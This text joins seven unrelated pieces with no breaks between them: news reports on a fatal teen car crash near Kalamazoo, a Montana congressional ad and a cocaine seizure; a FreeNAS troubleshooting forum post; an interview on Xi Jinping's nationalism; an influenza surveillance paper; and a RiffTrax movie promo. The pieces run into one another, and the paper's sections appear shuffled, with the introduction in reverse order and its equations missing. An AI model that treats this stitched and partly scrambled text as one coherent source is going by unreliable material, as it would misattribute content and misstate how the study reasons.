4 of 5 victims killed in fiery crash near Kalamazoo ID'd Copyright by WOODTV - All rights reserved Police arrive on scene of a fiery crash in Comstock Township that killed 5 people (Kalamazoo Township Police via Kalamazoo County Sheriff's Office/September 2, 2017) [ + - ] Video Lynsey Mukomel, Sarah Hurwitz and 24 Hour News 8 web staff - COMSTOCK TOWNSHIP, Mich. (WOOD) -- Four of the five people who were killed in a fiery crash early Saturday morning just east of Kalamazoo have been identified. The driver, 15-year-old Cortavian Murphy -- who due to his age did not yet have a driver's license -- and a passenger, Jaquerious Hegler, were identified by Cortavian's mother. Late Sunday afternoon, Kalamazoo County Undersheriff Paul Matyas confirmed two other passengers as Deztanee Cobb, 17, and Marshawn Williams, 15. The fifth victim has not yet been identified. The crash happened around 12:43 a.m. Saturday on E. Main Street, east of Sprinkle Road in Comstock Township. Kalamazoo Township police say an officer parked on Fenimore Avenue near the E. Main Street intersection watched as a car going an estimated 100 mph passed him heading east on Main Street. The officer turned on his lights and sirens and attempted to catch up to the car, but lost sight of it shortly after. According to dashcam video released shortly after the crash, the car passed the officer parked on Fenimore Avenue at 12:42 a.m. The video's timestamp reads an hour earlier, at 11:42 p.m.; however, investigators say it was an hour behind for some reason. By the time the officer pulled on to E. Main Street and turned on his lights and siren, the car was already out of sight. Seven seconds after initiating his siren, the officer is heard on the video saying, "I'm trying to catch up to it." About 15 seconds after the radio communication, he turned off the lights and siren and continued eastbound. Undersheriff Matyas told 24 Hour News 8 the officer continued given the dangerous speed the car was traveling. The officer arrived at the intersection of Sprinkle Rd. and E. Main St. at 12:43 a.m., where dashcam video shows the car had already crashed and was on fire. The distance between where the car past the officer and where it crashed is approximately 1.5 miles. Matyas told 24 Hour News 8 that all five victims were killed on impact. Sunday night, 24 Hour News 8 spoke with Cortavian Murphy's girlfriend, Kamarey Williams, who said they'd been dating more than a year. She said Cortavian was taking driver's education and wasn't sure what caused the crash or why he was driving so fast. Copyright by WOODTV - All rights reserved Kamarey Williams with her late boyfriend, Cortavaian Murphy. (undated photo) Copyright by WOODTV - All rights reserved Kamarey Williams with her late boyfriend, Cortavaian Murphy. (undated photo) She believes it may have been peer pressure. "Think about him every day," she said. "It's not something that's going to ever go away. He's going to forever be in my heart. Every day and I'm going to keep pushing to make him proud because I know he would want me to do be happy and proud and doing what I'm supposed to do." 24 Hour News 8 also spoke with the mother of Deztanee Cobb on Sunday. Tracey Taylor said her daughter was entering her senior year and was dual-enrolled at Kalamazoo Central High School and Kalamazoo Community College taking AP classes. Cobb also had two varsity letters in swimming and played softball, but couldn't play sports her senior year due to an injury. Taylor said Cobb just lost two friends who committed suicide last year and her sister, who died from childhood diabetes, adding that her daughter went to counseling to get through that tough year and that she wanted to be a child psychologist. Copyright by WOODTV - All rights reserved Deztanee Cobb (undated photo) Copyright by WOODTV - All rights reserved Deztanee Cobb (undated photo) Taylor also said Cobb, who she described as "loyal, loving and empathetic," mentioned she was going to a party Friday night but it wasn't alarmed when her daughter didn't come home because she thought she was just staying a friend's house overnight. Funeral arrangements for the victims have not yet been announced. A Kalamazoo Public Schools spokesperson told 24 Hour News 8 grief counselors will be made available as needed. The crash remains under investigation by the Kalamazoo County Sheriff's Office. ***Editor's note: An earlier version of this story listed Cortavian as Corravion, based on confirmation by relatives. However, the sheriff's office identified the teenager as Cortavian Murphy. The sheriff's office also updated the spelling of Deztanee Cobb's name. Our story has been updated to reflect those changes.
In a new ad released Monday, Montana Democrats attacked Republican House candidate Greg Gianforte for trying to hide his support for the deeply unpopular health care bill passed this month by the U.S. House of Representatives. The multimillionaire Republican backed the proposed American Health Care Act ― which could imperil health insurance for more than 70,000 Montanans ― in a call with wealthy donors this month. After The New York Times published audio of the call, Gianforte walked back his comments, suggesting last week that he would have voted against the bill. The ad cuts together clips of local TV news reports about Gianforte’s changing stance on the bill, along with ominous piano music. The ad is running statewide ahead of the May 25 special election to fill the House seat vacated by Interior Secretary Ryan Zinke. The campaign to elect Democrat Rob Quist, a musician and ranchers’ son running on a populist platform, paid for the ad. “Gianforte said he was thankful for a bill that takes away protections for pre-existing conditions and raises premiums,” says the ad’s narrator. “Thankful, because he got a huge tax break in return.” Less than one-third of the American public favors the health care bill, according to a HuffPost/YouGov survey published last week. A Fox News poll found similar results. Gianforte, who narrowly lost a bid to become Montana’s governor last year, leads Quist by about 6 percentage points in the latest poll. At a high-profile event last Friday, Vice President Mike Pence campaigned with Gianforte. William Campbell/Corbis via Getty Images Republican Greg Gianforte is running for the House seat vacated when Ryan Zinke became secretary of the Department of the Interior. Quist has attracted political star power of his own. Sen. Bernie Sanders (I-Vt.) plans to barnstorm Montana the weekend before the election alongside Quist, who backed Sanders’ insurgent campaign against Hillary Clinton in the Democratic presidential primary last year. The national Democratic Party initially ignored Quist’s campaign, apparently dismissing his bid as a long shot. But as support grew for Quist, who backs single-payer health care and marijuana legalization, the party began to invest heavily in the race. The Democratic Congressional Campaign Committee injected $400,000 in the contest in May, twice its previous investment. The Democratic National Committee has repeatedly solicited donations from its sizable email list in recent weeks. Health care could prove a winning narrative for the Democrats. Quist spiraled into debt two decades ago after a botched surgery left him with a “pre-existing condition” that made health insurance unaffordable. He nearly went bankrupt paying out of pocket for repeated follow-up surgeries. Quist’s campaign said it raised over $550,000 last week after Gianforte’s health care flub. Total donations now top $3.8 million, with an average contribution of $25 and about 147,000 individual contributors. Sanders, for context, regularly boasted that his average donation was $27 during his failed presidential bid.
Story highlights Memorial Day weekend seizures yield cocaine worth more than $500 million In first of two busts, authorities had to fire on and sink boat to apprehend three suspects Second bust involved chase in and out of shoals along Panamanian coastline Crews in Western Caribbean, Eastern Pacific seized 59 tons of cocaine in fiscal year 2012 Authorities intercepted two speedboats -- sinking one -- and recovered thousands of pounds of cocaine worth more than $500 million. "These two disruptions are an example of the international cooperative law enforcement effort to disrupt transnational criminal activity and deny their profiting from such activity," Doug Garner, U.S. Customs and Border Protection's director of national air security operations in Jacksonville, Florida, said in a news release. The Memorial Day weekend drug bust, which was announced Wednesday, resulted from two separate interdiction efforts, the first unfolding Friday north of the Galapagos Islands, west of Ecuador in the Pacific Ocean. A Customs and Border Protection Office of Air and Marine crew spotted a 30-foot speedboat. After realizing that they'd been spotted, three people on the boat started chucking packages of cocaine into the water. They also "began washing the boat to eliminate traces of cocaine," the release said. A law enforcement helicopter, responding to a call from the Customs and Border Protection crew, tracked down the boat and fired shots to disable it. Three suspects were arrested as the boat sunk into the ocean, according to the release. "This joint effort denied criminal organizations more than $82 million dollars from cocaine proceeds," it said. This speedboat was found carrying more than 3 tons of cocaine, authorities say. The next evening, a Customs and Border Protection crew in the Western Caribbean saw a three-engine speedboat moving rapidly near the Panamanian-Colombian border. The boat's driver tried to evade police by moving closer to the Panamanian coastline and maneuvering "in and out of shoals and other obstructions," according to the agency. The crew told Panamanian police to intercept the boat, which was carrying bundles of cocaine weighing more than 6,000 pounds. Authorities estimate their value at more than $445 million. The Customs and Border Protection Office of Air and Marine P-3 crews patrol a 42 million-square-mile swath of the Western Caribbean and Eastern Pacific in search of drugs destined for U.S. shores. In fiscal 2012, P-3 crews seized almost 59 tons of cocaine valued at $8.8 billion.
Hi,I tried googling my answer, and some said it was related to encryption, but my drives are not encrypted so the jails should be able to auto reload to my limited understanding. When setting it up I followed this guide here:My goal was to just create a FreeNAS server to host my plex media server from. So after a few hours I had more or less everything working, I was able to access all the plugins I needed externally, things were auto DLing and copying over but when I was adding a password to headphones I put the external IP address in and it wouldn't turn back on after the service shut off. A few hours later after my data transfer finished and I tried restarting the whole server. When I restarted the server now none of my previously installed plugins will boot. When I try to enable a service it says "Some error occured" and just won't turn on. At the end, I would like to to be able to reboot and auto enable these jails since I do not plan on keeping this server somewhere I can easily access it, so I want to get it configured than be more or less hands off.Thanks for the help!
Photo Read in Chinese | 点击查看本文中文版 President Xi Jinping is making his first state visit to the United States at a time when China exerts greater influence on the world stage than at any point since the Communist Party took power in 1949. To some Westerners, the image of Mr. Xi as a canny and potent leader has been dulled a bit in recent weeks by growing questions over the economic slowdown and the government’s handling of the stock market crisis. But for many Chinese, Mr. Xi remains very much the symbol of a new era of nationalist fervor, as Mr. Xi, in his words, seeks to secure the “China dream” for his people and drive the nation further down the “road to rejuvenation.” Photo Part of that national revival involves expanding China’s territorial footprint in the South China Sea, to the consternation of the United States and Southeast Asian nations, as well as underlining Chinese wartime resistance to Japan. Jessica Chen Weiss, an associate professor of government at Cornell University, has studied grass-roots nationalism in China and the interplay between populist protests and the Chinese party-state. Her book “Powerful Patriots: Nationalist Protest in China’s Foreign Relations,” published last year, is based on that research. In an interview, she discussed Mr. Xi’s brand of nationalism and how that has played out in China. Q. Earlier this month, you said that the Chinese Communist Party’s military parade commemorating the defeat of Japan in World War II reflected “Xi’s renewed emphasis on top-down nationalism.” How has this manifested itself in the first three years of Xi’s tenure, and how does it differ from the pre-Xi era? A. For all Xi’s rhetoric about the “China dream,” the Chinese leadership is afraid that nationalist mobilization will trigger broader instability and put undue pressure on Chinese foreign policy. Grass-roots activism has been largely repressed since Xi Jinping took over three years ago. Under Xi, China has designated three new holidays to commemorate World War II, including a spectacular parade to showcase China’s growing military might. But public participation in commemorative events has been tightly scripted. Even a Baidu message board search for Sept. 18, the newly enshrined day to remember Japan’s invasion of Manchuria in 1931, turns up the result: “Sorry, according to relevant laws and policies, this board is temporarily closed.” Q. Some analysts compare Xi Jinping to Mao Zedong and speak of similarities in the ways in which they tried to harness grass-roots nationalism. What are your thoughts? Photo A. Every leader since Mao has tried to harness grass-roots nationalism to some extent, as I show in “Powerful Patriots.” Under Mao, rallies against the United States and the Soviet Union were massive and commonplace. Even Deng Xiaoping, who reopened China to the world, invoked student protests in admonishing Japanese leaders to temper their behavior. Under Jiang Zemin, anti-NATO and anti-American demonstrations erupted when U.S. planes accidentally bombed the Chinese Embassy in Belgrade in 1999. Hu Jintao presided over two waves of anti-Japanese protests: in 2012, over Japan’s purchase of three islands in the East China Sea, and in 2005, over Japan’s bid to join the permanent membership of the U.N. Security Council. As for Xi, comparisons to Mao mostly rest on his efforts to concentrate power and build a charismatic image as “Uncle Xi.” But unlike Mao, Xi has not called upon the masses to rise up and shake a collective fist against foreign powers. So far, Xi Jinping has shown a tough but temperate face to the world, relying upon China’s material power to assert and defend Chinese interests without giving in to extreme voices on the Internet. But this restraint may not last. With all the attention that the Chinese media have given lately to China’s maritime claims, a fatal collision or provocative incident — particularly with the United States or Japan — could trigger a public response that would be difficult for the Chinese government to control. Q. In your writings, you describe a complex relationship between the Chinese party-state and grass-roots protesters and how street protests provide an opportunity for officials to send signals to various audiences in China and abroad. At the same time, those protests pose a risk to the leaders. In the Xi Jinping era, have you seen this kind of interplay? A. For the past three decades, China’s leaders have selectively tolerated grass-roots protests, allowing nationalist demonstrations to bolster a tough diplomatic stance and repressing such protests to show flexibility and reassurance. But stage-managed protests are often suspected of being puppet shows rather than genuine popular movements. Chinese officials thus face a Catch-22 in managing popular nationalism. For the “feelings of the Chinese people” to be credible with outside observers, citizens must also be free to air their views online and in the streets. Xi Jinping came to power in 2012, shortly after anti-Japanese protests underscored the domestic and diplomatic dangers of trying to stage-manage nationalist protests. Demonstrations in over 200 Chinese cities showcased the danger that protests against Japan might change direction and gather outside government headquarters, as they did in the southern city of Shenzhen. But these deviations from the official script were regarded by foreign skeptics as evidence that state-sponsored nationalism was merely a convenient outlet for domestic grievances. Xi inherited the standoff with Japan in the East China Sea. Preventing an accidental escalation to war, plus a redoubled effort to crack down on possible sources of public dissent, explains why would-be activists have been told that the time is “not convenient” to organize. Photo Q. Xi Jinping will be only the fourth Chinese leader since 1949 to be welcomed by the White House with the formalities of a state visit. How will this play to grass-roots nationalism in China? A. Whether or not the summit produces any tangible outcomes, Xi’s visit is likely to be portrayed positively back home. The desire for international respect is central to the nationalist narrative that girds the Chinese Communist Party’s legitimacy. Xi Jinping has placed particular emphasis on achieving a “new type of major power relations” that implies a more equal footing between China and the United States. Barring any unexpected slights or gaffes in protocol, Xi’s state visit and speech at the United Nations will provide a visible domestic reminder that China is an important and powerful member of the international community. The diplomatic stakes of Xi’s visit are far greater than the domestic stakes. Coming at a time when U.S. businesses are increasingly worried about Chinese economic policies and Republican candidates have criticized Obama for being too soft on China, a positive outcome of Xi’s visit would be to signal China’s renewed commitment to international cooperation and arrest the rising chorus of mutual criticism. Q. Xi Jinping’s military parade tried to capitalize on a sense of Chinese pride in resisting Japan. How widespread is that sentiment in China these days? A. Negative attitudes toward Japan are widespread among mainland Chinese. According to a recent Pew survey, less than 10 percent of Chinese think that Japan can be trusted — and the feeling is mutual. Many observers are surprised by how vehemently young Chinese who did not personally experience the war feel about Japan. State propaganda and patriotic education in schools also tend to make criticism of Japan politically correct, so it’s difficult to know how entrenched these attitudes are. The geographic dispersion of nationalist protests is another way of looking at variation in Chinese nationalism. In a recent paper with Jeremy Wallace, we find that cities with larger numbers of college students were more likely to have a protest at the beginning of the 2012 wave of anti-Japanese demonstrations. Cities with larger numbers of migrant workers were also more likely to witness an anti-Japanese protest. Q. What can we expect to see at the grass-roots level here as Prime Minister Shinzo Abe of Japan continues to try to transform the Japanese military? A. With the passage of legislation allowing Japanese forces to fight abroad and assist the United States in an event of an attack, Prime Minister Abe has done an end-run around the more difficult and symbolic hurdle of revising the Japanese Constitution. Two factors make it unlikely that Chinese authorities will encourage or tolerate a strong grass-roots response. First is Washington’s support for an expanded Japanese role. Second is the icy détente between China and Japan in the East China Sea and the knowledge that Abe is unlikely to be replaced in the near term. Given China’s focus on managing relations with the United States, it is unlikely that China will do more than verbally denounce Japan’s expanding military role and Prime Minister Abe’s “irresponsible” attitude toward Japan’s wartime past. Q. We haven’t seen notable street protests in China yet over territorial conflicts in the South China Sea, even when Chinese workers were killed in Vietnam last year by protesters during one particularly tense period. Why? A. Quashing street protests over the South China Sea is consistent with China’s broader strategy of expanding its physical presence in the area while trying to mitigate the regional backlash. China has not hesitated to press its material advantage over Vietnam and the Philippines in the South China Sea, so Chinese resolve in these disputes has not been questioned. Nationalist sentiment in China is also less vehement toward Southeast Asian nations than Japan or the United States, so the “supply” of popular Chinese activism has been comparatively smaller and easier for the Chinese government to tamp down. Indeed, it is China’s growing presence around disputed islands and shoals that have triggered nationalist protests in Vietnam and the Philippines. Despite riots that killed several Chinese workers in Vietnam, China prevented retaliatory protests and showcased Vietnamese efforts to crack down on the so-called troublemakers. Q. To what extent does your research apply to Vietnam, which has a turbulent history with China but where the Vietnamese Communist Party often studies Chinese governance models? A. China is not alone in invoking popular feelings in its diplomatic relations. The Vietnamese government has also allowed grass-roots protests to convey Vietnamese anger and resolve to Beijing. In a new paper on nationalist protests and territorial disputes in Southeast Asia, John Ciorciari and I note that Vietnam briefly tolerated anti-Chinese protests in 2007, 2011 and 2014, but stifled them in 2009, 2012 and 2013. This pattern can be explained by Vietnamese efforts to resist Chinese actions in the South China Sea, balanced with government fears that nationalist protests could spiral out of control. The danger that “a single spark can start a prairie fire” was realized last year when peaceful anti-China protests in Vietnam escalated to riots against foreign factories, many of them not even Chinese. When authoritarian leaders want to resist foreign pressure, they often point to grass-roots sentiment in the proverbial street. The challenge for Chinese, Vietnamese and other authoritarian leaders is making these claims credible. Even when nationalist protests get out of hand, the mixture of motivations — such as poor wages or working conditions — may also feed foreign accusations that protesters do not really care about the international dispute. Follow Edward Wong on Twitter @comradewong.
Influenza-like illnesses (ILIs) are caused by several respiratory pathogens. These pathogens show weak to strong seasonal activity implying seasonality in ILI consultations. In this paper, the contribution of pathogens to seasonality of ILI consultations was statistically modelled. Virological count data were first smoothed using modulation models for seasonal time series. Second, Poisson regression was used regressing ILI consultation counts on the smoothed time series. Using ratios of the estimated regression parameters, relative measures of the underreporting of pathogens were obtained. Influenza viruses A and B, parainfluenza virus and respiratory syncytial virus (RSV) significantly contributed to explain the seasonal variation in ILI consultations. We also found that RSV was the least and influenza virus A is the most underreported pathogen in Belgian laboratory surveillance. The proposed methods and results are helpful in interpreting the data of clinical and laboratory surveillance, which are the essential parts of influenza surveillance. In this study, the pathogens’ contribution to seasonal variation in ILI was statistically modelled, using data from two independent surveillance systems in Belgium. Data from both clinical sentinel surveillance [ 17 ], and laboratory sentinel surveillance were used in monitoring trends of different respiratory pathogens [ 18 ]. The pathogens’ contribution to the seasonality of ILI was estimated using smooth modulation models for seasonal time series [ 19 ] and Poisson models regressing the number of ILI consultations in the number of laboratory reports for various respiratory pathogens. Epidemiological interpretations in terms of relative measures of underreported pathogens were obtained by using ratios of estimated Poisson regression parameters. Respiratory pathogens other than influenza are generally not monitored by combined influenza surveillance [ 5 , 6 ]. However, such pathogens might also cause ILI, resulting in poor to moderate positive predictive values of ILI diagnoses of laboratory-confirmed influenza infections [ 10 – 12 ]. In particular, along with influenza viruses A and B, parainfluenza virus, respiratory syncytial virus (RSV), adenovirus and Mycoplasma pneumoniae are regarded as other important respiratory pathogens with the potential to cause ILI. For most of these respiratory pathogens seasonality has been consistently observed, although the driving mechanisms are still poorly understood [ 13 ]. A typical example of a seasonal infectious disease is influenza. Annual influenza epidemics commonly occur during the winter season in temperate regions of the world with varying onset, duration and severity [ 14 ]. Moreover, the incidence of RSV varies conspicuously by season, showing distinct seasonal patterns in different countries [ 15 , 16 ]. Such seasonality in pathogen activity naturally implies seasonality in ILI consultations. Influenza surveillance is implemented by many national and international authorities throughout the world [ 5 , 6 ]. The World Health Organization (WHO) stresses the importance of influenza surveillance activities for the annual determination of influenza vaccine content and as an indispensable tool for pandemic preparedness [ 7 ]. A standard tool for monitoring influenza activity is the combination of virological and clinical surveillance by a network of sentinel practitioners [ 5 , 6 ]. As a tool for detection of the first circulating viruses, virological surveillance allows the characterization of strains by monitoring the rates of influenza virus positivity. Clinical surveillance is based on consultations for influenza-like illness (ILI), which is a clinical diagnosis of a set of common aspecific symptoms. These symptoms include typical clinical features of influenza, although heterogeneous case definitions are used [ 8 ]. The combination of virological and clinical surveillance is generally considered to be the most accurate tool for monitoring influenza activity [ 9 ]. Influenza is a common infectious disease, which has an important impact on society each year [ 1 ]. The typical clinical features of influenza disease include fever, respiratory symptoms, headache, muscle ache and fatigue [ 2 ]. In most cases, the influenza disease is self-limiting but it can evolve to life-threatening medical complications [ 3 ]. Recently, influenza has been identified as one of the three infectious diseases causing the highest burden in Europe, along with HIV infection and tuberculosis [ 4 ]. Moreover, genetic reassortments and mutations of influenza viruses might lead to the emergence of pandemics during which the rates of morbidity and mortality increase further. where 1/π inflA ≡ ϕ inflA is the factor needed to correct for underreporting of diseases due to influenza A and similarly, 1/π RSV ≡ ϕ RSV is the factor needed to correct for underreporting of diseases due to RSV. Hence, Φ inflA should be interpreted as the factor needed to correct for underreporting of influenza A diseases relative to the factor needed to correct for underreporting of RSV. where, π ILI /π inflA ≡ α inflA , π ILI /π inflB ≡ α inflB , etc. It should be noted that equation ( 4 ) is of the same form as equation ( 1 ), implying that the parameters α can be estimated as explained above. The additivity of the model given in equation ( 4 ) also explains the choice of the identity link. Indeed, using the identity link in Poisson regression gives rise to an additive interpretation of the parameters α whereas the commonly used log-link gives rise to a multiplicative interpretation [ 22 ]. However, the total number of cases N(t) in a given population is typically unknown as a result of underreporting. Instead, the number of reported cases R(t) is observed. Assuming that the reporting probability π is constant over time, it follows that R(t) = πN(t). Hence, rewriting equation ( 2 ) in terms of the number of reported cases R(t) assuming disease- or pathogen-specific reporting probabilities gives Introducing some notation, we allow N(t) ILI to denote the total number of ILI cases in a given population as a function of time t. Similarly, we denote the total number of illness cases due to influenza virus A, influenza virus B, parainfluenza virus, RSV and M. pneumoniae as N(t) inflA , N(t) inflB , N(t) para , N(t) RSV and N(t) myco , respectively. Then, assuming that no other pathogens are causing ILI, it immediately follows that Second, the ILI consultation counts X were linearly regressed on the smoothed predictions of the five respiratory pathogens, Y 1 , Y 2 , …, Y 5 , to assess the pathogens’ contribution to the seasonal variation in ILI. To this end, the Poisson quasi-likelihood with deviance-based correction for overdispersion and identity link was used, as it had the expected ILI counts The clinical and five virological time series were first smoothed, with the aim of revealing the essential (non-parametric) patterns while suppressing excessive variations. Smoothing techniques are increasingly popular because they provide a statistical tool to graphically explore the data and allow modelling of the data when classical parametric models fail [ 21 ]. Because the virological and clinical time series exhibit irregular seasonal variation, the time trends were smoothed using modulation models for seasonal time series [ 19 ]. In these models, the overall time trend is modelled using an intercept and the periodicity is modelled using sine and cosine regressors. The coefficients of the intercept, sine and cosine regressors are allowed to vary smoothly over time. This permits the modelling of global time trends and varying onset, duration and severity of incidence peaks over time (for details, see Eilers et al. [ 19 ]). Because the clinical data X is a time series of counts exhibiting overdispersion, the Poisson quasi-likelihood with log-link and deviance-based correction for overdispersion was used [ 19 ]. In particular, the Poisson expectation was modelled as a smooth function of time t using a basis of 30 B splines of third degree for the intercept, sine and cosine regressors and second-order smoothness penalties. The optimal smoothness parameters were selected using quasi-Akaike's Information Criteria [ 19 ]. For each of the five respiratory pathogens, smooth functions Y i with i = 1, 2, …, 5 were obtained similarly. Data on all pathogens available that potentially cause ILI were extracted from the Belgian sentinel laboratory surveillance database. In particular, data on the weekly number of samples that tested positive for influenza virus A, influenza virus B, parainfluenza, RSV and M. pneumoniae were obtained for the period from January 2004 to December 2008, resulting in 260 measurement points for each of the five pathogens as the time series are complete. The sentinel laboratory network, coordinated by WIV-ISP, has collected data on about 40 infectious diseases since 1983 [ 18 ]. In 2009, 100 laboratories, representing 58% of all Belgian laboratories, participated to the surveillance system on a voluntary basis. The participating private or hospital laboratories are evenly distributed over 33 out of 43 administrative districts in Belgium. These laboratories receive biological samples from routine diagnostic testing at GP practices, hospitals, care homes, etc. On a weekly basis, the laboratories send anonymized data to WIV-ISP using an electronic system (Epi-Lab), internet application or registration form. The incidence of different infections, which includes respiratory infections, is monitored using this surveillance system, allowing for the detection of changes in time or geographical trends. The counts of ILI consultations were extrapolated to the whole Belgian population to adjust for changes in the size of the represented patient population as a result of changes in the number of GPs reporting over time. In total, data for 214 measurements were available. For the years preceding 2007, ILI consultations were not monitored outside the influenza season, resulting in incomplete time series. The clinical data on ILI consultations from January 2004 to December 2008 were extracted from the General Practitioners (GPs) influenza surveillance database, which is obtained through a weekly registration network of GPs coordinated by the Belgian Scientific Institute of Public Health (WIV-ISP) [ 17 ]. This database contains, among others, weekly information on the number of ILI consultations with the case definition for ILI being sudden onset of illness, associated with fever, respiratory and general symptoms. Since October 2007, data have been collected by the Belgian sentinel GPs network, in which about 180 GPs participate. The participating GPs cover 1.75% of the total Belgian patient population and are representative of the profile of family physicians in Belgium in terms of age, sex and geographical location [ 20 ]. Before October 2007, data were collected by a smaller network of 40–80 GPs. gives a graphical representation of the Poisson regression model given in equation ( 4 ). The smoothed time series of the respiratory pathogens, Y i (i = 1, 2, …, 5), are jointly presented in a. To predict the ILI consultations, the smoothed time series are first rescaled using regression weights α i ( b). Then these rescaled time series α i Y i are summed to predict the ILI consultation counts. The predicted curve and its 95% confidence interval are presented by the dark grey area in c. As can be seen from (b, c), the peaks in ILI consultations are mainly explained by influenza virus A and, to a lesser extent, by influenza virus B. Furthermore, (b, c) suggests that the excess in ILI consultations before the onset of the influenza epidemic is mainly explained by RSV. By means of comparison, the smoothed time series of ILI consultations is also presented in c (light grey area). As can be seen, both the smoothed ILI curve as well as the ILI curve, as predicted based on the smoothed time series of the respiratory pathogens, are nicely overlapping. This observation is well in line with the obtained pseudo-R 2 value for the overdispersed Poisson regression model [ 24 ], i.e. R 2 = 0·82, indicating that ILI seasonality is well predicted by the seasonality of the respiratory pathogens. The results of the multiple Poisson model regressing the ILI consultation counts on the smoothed time series of influenza virus A, influenza virus B, parainfluenza, RSV and M. pneumoniae are given in . As can be seen, all respiratory pathogens except M. pneumoniae, significantly contribute in explaining the seasonal variation in ILI consultations. The results for the ratios Φ of factors correcting for underreporting with RSV as reference are given in the last two columns . The 95% confidence intervals are obtained using Fieller's method [ 23 ]. The ratios Φ indicate that diseases due to RSV were the least underreported by Belgian laboratory surveillance whereas diseases due to influenza viruses A and B were the most underreported. From the laboratory reports, RSV (54·42%) was the most commonly reported pathogen during 2004–2008, consecutively followed by M. pneumoniae (31·52%), influenza virus A (7·10%), parainfluenza virus (4·79%) and influenza virus B (2·20%). (a–e) presents the weekly number of laboratory reports of influenza virus A, influenza virus B, parainfluenza virus, RSV, and M. pneumoniae, respectively, together with the smoothed time series and 95% confidence intervals. Clearly, strong seasonality can be observed for influenza virus A, influenza virus B and RSV with the RSV peaks preceding those of influenza viruses A and B. Weaker seasonality can be observed for parainfluenza and M. pneumoniae with the latter showing a clearly decreasing trend over time. f presents the weekly number of ILI consultations, also showing strong seasonality, that most closely coincides with the seasonal patterns of the influenza viruses. DISCUSSION In this study, the contribution of respiratory pathogens to the seasonal variation in ILI consultations was statistically modelled using data from the Belgian clinical and laboratory sentinel surveillance systems, which are two independent surveillance systems. The statistical methods were smooth modulation models for seasonal time series and Poisson regression with correction for overdispersion. Methods regressing syndromic incidence data on the number of laboratory reports have been used previously. Linear regression methods have been used, among others, to assess the burden of influenza in terms of general practice consultations, hospital admissions and deaths [25], in order to estimate the contribution of different respiratory pathogens to the seasonality of NHS Direct respiratory calls [26] and to validate other syndromic surveillance systems (e.g. absenteeism, pharmacy sales, laboratory submissions) for their capability of capturing respiratory pathogen activity [27]. More evolved regression methods have been used recently by Yang et al. [28], who used wavelet analysis to investigate the synchrony of clinical and laboratory surveillance in Hong Kong. The method we propose has the advantage of providing solid epidemiological interpretations. By using ratios of the estimated regression parameters, relative factors of disease underreporting by laboratory surveillance were obtained. Furthermore, the method allows interesting and interpretable visualizations of the model results. The model results indicate that, in line with previous research, significant contributions were found for influenza viruses A and B, parainfluenza virus and RSV [12]. The contribution of M. pneumoniae was not found to be significant. The peaks of ILI consultations were mainly explained by influenza virus A and, to a lesser extent, by influenza virus B, whereas the excess in ILI consultations prior to the onset of the influenza epidemic was explained by RSV. A significant year round contribution was found for parainfluenza. By using ratios of the estimated regression parameters, we found that diseases due to RSV and M. pneumoniae were the least underreported by Belgian laboratory surveillance whereas diseases due to influenza viruses A and B were the most underreported. These large differences in relative measures of underreporting are due to case ascertainment bias and can be interpreted as a reflection of medical practice in Belgium. For instance, causes of childhood diseases are frequently tested, as a cautious principle of sampling is often adopted for young patients. RSV is such a childhood disease. Furthermore, the costs of RSV testing for children aged <2 years are reimbursed by compulsory Belgian medical insurance, explaining the (relatively) small amount of RSV underreporting. On the other hand, as ILI is a clinically based diagnosis with a symptom-related treatment, its causes are rarely tested during the influenza season, which explains the (relatively) large amount of underreporting for influenza viruses A and B. Causes of respiratory infections outside the influenza season could be more frequently tested, explaining the (relatively) small amount of underreporting for M. pneumoniae, being a non-seasonal virus circulating throughout the year. The proposed regression model provides a good fit, indicating that ILI seasonality is well predicted by the seasonality of respiratory pathogens. This can also be regarded as a mutual validation of the independent clinical and laboratory surveillance systems. The model relies on two important assumptions. First, it is assumed that the pathogen-specific reporting probabilities are constant over time. This assumption seems epidemiologically plausible and, moreover, is hard to relax as it could lead to non-identifiable regression models. The second assumption that all ILI cases are caused by a limited set of respiratory pathogens (i.e. influenza virus A, influenza virus B, parainfluenza virus, RSV, M. pneumoniae) is obviously not correct. However, other pathogens with the potential to cause ILI are not monitored by Belgian laboratory surveillance and hence, could not be included in the regression model. Instead, an intercept might be included to implicitly account for the pathogens for which no or only limited information is available. However, this assumes that the contribution of these unknown or missing pathogens to ILI consultations is constant over time, which is clearly not the case. By excluding the intercept, as done in the current study, the model predictions are likely to locally underestimate the observed number of ILI consultations. These underestimations are informative, suggesting the activity of an unknown or missing pathogen. Future research might attempt to discover an explanation for the observed underestimation using other databases or published studies. For the Belgian data, such an underestimation was observed prior to the influenza epidemic of 2008 (see c), but could not be explained. To conclude, the seasonality of ILI is well predicted by the seasonality of influenza viruses A and B, parainfluenza and RSV. In addition, relative factors of underreporting of respiratory pathogens in laboratory surveillance have been obtained indicating that RSV is the least and influenza A is the most underreported pathogen in Belgian laboratory surveillance. The results of this study are helpful in interpreting the data of clinical and laboratory surveillance, which are the essential parts of influenza sentinel surveillance. The proposed methods provide interesting epidemiological interpretations and are versatile. Future research might include an extension of the current analysis by including additional covariate information such as age and geographical location. Furthermore, although not explicitly investigated in this paper, the smooth modulation models for seasonal time series [19] allow the modelling of varying onset, duration and severity of the incidence peaks over time. Such an approach would yield interesting insights into the temporal variation in viral agents [29] and disease dynamics.
At long last, the conclusion to the endless, seriously endless, so-unbelievably-endless-they-took-two-whole-movies-to-end-it endless Harry Potter saga is here, fully riffed and available in delicious RiffTrax flavored jellybean form! Until this movie came out, a lot of people thought Harry Potter and the Deathly Hallows Part 1 was the end of the series, the “Part 1” thing being a cute ironic affectation like Leonard Part 6 or when you call a fat guy “Tiny.” But no, Harry Potter is back, and it’s time to watch his whimsical friends who we’ve goofed along with for seven full movies drop dead rapid-fire like background players in a Vietnam movie. Part 1 was all about finding and destroying horcruxes, but Part 2 really ramps it up, following the kids as they… continue finding and destroying horcruxes. Like the film version of your nephew forcing you to watch him rack up Xbox achievements and trophies, but with more crying! We couldn’t be prouder or happier to bring the saga to its conclusion. Much like Dobby the House Elf, we is free! And also like Dobby, we is dead. Very, very dead. Join Mike, Kevin and Bill for one last hilarious broomstick ride into the ultimate Quidditch bloodbath, Harry Potter and the Deathly Hallows Part 2!
